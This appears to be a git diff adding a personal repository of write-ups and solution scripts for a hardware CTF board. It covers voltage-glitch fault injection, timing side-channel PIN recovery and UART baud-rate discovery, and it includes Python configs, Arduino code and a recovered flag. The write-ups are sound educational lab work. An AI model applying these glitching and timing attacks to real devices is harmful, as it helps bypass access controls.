+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
